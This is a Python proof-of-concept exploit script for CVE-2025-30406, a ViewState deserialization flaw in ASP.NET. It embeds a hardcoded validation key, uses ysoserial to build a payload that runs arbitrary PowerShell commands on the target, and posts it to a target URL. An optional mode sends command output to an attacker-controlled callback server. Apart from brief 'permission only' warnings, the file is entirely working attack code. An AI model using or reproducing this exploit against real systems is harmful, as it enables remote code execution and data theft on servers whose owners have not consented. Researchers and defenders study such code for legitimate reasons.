exploit.py

#!/usr/bin/env python3

import subprocess
import requests
import sys
import urllib.parse
import argparse
import os

def generate_payload(command, ysoserial_path, callback_url=None):
    """
    Generate a ViewState payload using ysoserial.exe for CVE-2025-30406.
    
    Args:
        command (str): Command to be executed in the payload.
        ysoserial_path (str): Path to ysoserial.exe.
        callback_url (str, optional): URL to exfiltrate command output.
    
    Returns:
        str: Generated payload or None if an error occurs.
    """
    validation_key = "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16"
    generator = "3FE2630A"

    try:
        # Ensure ysoserial path exists
        if not os.path.isfile(ysoserial_path):
            print(f"Error: ysoserial.exe not found at {ysoserial_path}")
            return None

        # If callback_url is provided, wrap command to exfiltrate output
        if callback_url:
            command = f'powershell.exe $out=({command} | Out-String);Invoke-WebRequest -Uri {callback_url}/$out -Method GET'
        else:
            command = f'powershell.exe {command}'
        
        result = subprocess.run(
            [
                ysoserial_path, "-p", "ViewState", "-g", "TextFormattingRunProperties",
                "--generator", generator,
                "--validationalg", "HMACSHA256",
                "--validationkey", validation_key,
                "-c", command
            ],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        if result.returncode != 0:
            print(f"Error generating payload: {result.stderr}")
            return None

        return result.stdout.strip()

    except Exception as e:
        print(f"Error in generate_payload: {e}")
        return None

def send_payload(target_url, viewstate_payload):
    """
    Send the ViewState payload to the target URL.
    
    Args:
        target_url (str): Target URL to send the payload.
        viewstate_payload (str): Generated ViewState payload.
    
    Returns:
        None
    """
    try:
        post_data = f"__LASTFOCUS=&__VIEWSTATE={urllib.parse.quote(viewstate_payload)}"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0",
            "Connection": "close",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept-Encoding": "gzip"
        }

        response = requests.post(target_url, data=post_data, headers=headers, verify=False)
        print(f"Status: {response.status_code}")
        print(f"Response: {response.text[:500]}...")  # Truncate for brevity
    except Exception as e:
        print(f"Error sending payload: {e}")

def main():
    parser = argparse.ArgumentParser(
        description="Proof-of-Concept for CVE-2025-30406 ViewState deserialization exploit. USE WITH PERMISSION ONLY.",
        epilog="Example: python exploit.py -u http://target.com/page.aspx -c 'whoami' -y ./ysoserial.exe -e http://your-vps:8000"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target.com/page.aspx)")
    parser.add_argument("-c", "--command", required=True, help="Command to execute (e.g., 'whoami')")
    parser.add_argument("-y", "--ysoserial", default="./ysoserial.exe", help="Path to ysoserial.exe")
    parser.add_argument("-e", "--exfil", help="Callback URL for exfiltrating command output (e.g., http://your-vps:8000)")
    
    args = parser.parse_args()

    print("WARNING: This is a Proof-of-Concept for CVE-2025-30406 for educational purposes only.")
    print("Use only on systems you have explicit permission to test. Unauthorized use is illegal.")
    if not args.exfil:
        print("Note: Use -e <callback_url> to exfiltrate command output to a server for styled display.")

    payload = generate_payload(args.command, args.ysoserial, args.exfil)
    if payload:
        print("Payload generated successfully. Sending to target...")
        send_payload(args.url, payload)
    else:
        print("Failed to generate payload. Exiting.")
        sys.exit(1)

if __name__ == "__main__":
    main()